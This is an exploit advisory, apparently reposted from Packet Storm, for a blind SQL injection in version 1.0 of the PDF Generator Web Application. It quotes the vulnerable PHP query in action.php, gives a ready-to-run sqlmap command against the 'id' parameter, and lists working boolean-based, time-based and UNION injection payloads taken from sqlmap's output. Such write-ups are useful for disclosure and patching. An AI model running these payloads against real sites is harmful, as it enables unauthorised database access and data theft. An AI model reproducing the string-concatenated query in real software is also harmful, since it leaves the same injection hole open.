PDF Generator Web Application 1.0 SQL Injection

PDF Generator Web Application version 1.0 suffers from a remote SQL injection vulnerability.


MD5 | 8bf711db395dc83a8601329c734da955

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# Exploit Title: PDF Generator Web Application - 'multiple' Blind SQL Injection
# Date: 26/03/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15243/pdf-generator-web-app-using-tcpdf-and-phpoop-free-source-code.html
# Version: 1.0
# Tested on: XAMPP, Linux
# Contact: https://twitter.com/dmaral3noz


# Vulnerable Code

line 23 in file "/pdf_generator/action.php"

$check = $this->conn->query("SELECT * FROM `file_list` where `name` = '{$name}' ".(!empty($id) ? " and id != '{$id}' " : '')." ")->num_rows;

# Sqlmap command:

sqlmap -u 'http://localhost/pdf_generator/?page=manage_file&id=1' -p id --level=5 --risk=3 --dbs --random-agent --eta --batch

# Output:

Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: page=manage_file&id=1' OR NOT 3770=3770-- axnO

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=manage_file&id=1' AND (SELECT 3918 FROM (SELECT(SLEEP(5)))yLgc)-- fCtI

    Type: UNION query
    Title: Generic UNION query (NULL) - 8 columns
    Payload: page=manage_file&id=1' UNION ALL SELECT CONCAT(0x71707a6a71,0x436a57436257674a6f4264524d524c4c4c6755634145724d4f545270794d7376774c44444c4d4545,0x717a767a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -

Source: packetstormsecurity.com
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